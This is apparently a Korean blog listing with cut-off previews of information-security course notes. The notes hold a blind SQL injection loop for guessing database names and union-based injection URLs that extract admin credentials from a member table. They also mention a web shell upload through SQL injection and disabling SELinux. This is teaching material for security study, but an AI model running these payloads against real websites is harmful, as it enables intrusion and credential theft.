정보보안8 11차시
대소문자, 숫자, _를 이용해서 DB명을 만들 수 있다. 이때문에 db명을 알아낼 때 ord('a'), ord('z')+1의 범위만으로는 부족하다 데이타의 값 알아내기for i in range(ord('0'), ord('z')+1):for문 돌리고ascii(substring(database(),{count},1)) = {i}#아스키코드로 database()를 substring으로 잘라 하나씩 비교한다 이 때 대소문자,숫자,특문 구분은if (i not in range(ord('0'), ord('9')) and i not in range(ord('a'), ord('z')) and i not in range(ord('A'), ord('Z')) and ..
2024. 12. 15.
정보보안8 8차시
?id=bbs1 union SELECT 1,table_name,3,column_name,5,6,7,8 FROM information_schema.COLUMNS WHERE table_name = 'member' and table_schema='mywebsite'&m=list=> union을 이용하여 테이블 이름, 컬럼 이름 등을 테이블이 member이고 데이터베이스가 mywebsite인 데이터에서 얻는다. 관리자 비밀번호 추출하기?id=bbs1 union SELECT 1,userid,3,userpass,5,6,7,8 FROM member&m=list위에서 나온 userid, userpass를 사용하여 출력 sql injection을 이용한 웹쉘 업로드 setenforce 0=> selinux off 테스..
2024. 12. 1.